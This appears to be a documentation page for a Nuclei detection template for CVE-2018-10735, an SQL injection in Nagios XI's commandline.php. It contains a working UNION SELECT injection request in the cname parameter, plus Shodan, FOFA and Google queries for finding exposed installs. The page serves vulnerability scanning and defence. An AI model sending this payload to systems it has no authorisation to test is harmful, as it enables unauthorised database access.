NagiosXI <= 5.4.12 `commandline.php` SQL injection
ID: CVE-2018-10735
Severity: high
Author: DhiyaneshDk
Tags: cve,cve2018,nagios,sqli
Description
Section titled “Description”A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/commandline.php cname parameter.
YAML Source
Section titled “YAML Source”id: CVE-2018-10735
info: name: NagiosXI <= 5.4.12 `commandline.php` SQL injection author: DhiyaneshDk severity: high description: | A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/commandline.php cname parameter. reference: - https://vulners.com/seebug/SSV:97266 - https://github.com/chaitin/xray/blob/master/pocs/nagio-cve-2018-10735.yml classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H cvss-score: 7.2 cve-id: CVE-2018-10735 cwe-id: CWE-89 epss-score: 0.00403 epss-percentile: 0.7323 cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: nagios product: nagios_xi shodan-query: http.title:"nagios xi" fofa-query: - app="Nagios-XI" - title="nagios xi" - app="nagios-xi" google-query: intitle:"nagios xi" tags: cve,cve2018,nagios,sqlivariables: num: "{{rand_int(2000000000, 2100000000)}}"
http: - method: GET path: - "{{BaseURL}}/nagiosql/admin/commandline.php?cname=%27%20union%20select%20concat(md5({{num}}))%23"
matchers: - type: word part: body words: - "{{md5(num)}}"# digest: 490a0046304402205109d0b3eea983e274b21bee8905e0f329d49c5e4034e1809262b982f561f3f0022073c71dbca523464b30ef102eb7524d993038a0fb146bba2386aa294e3bfab0b6:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-10735.yaml"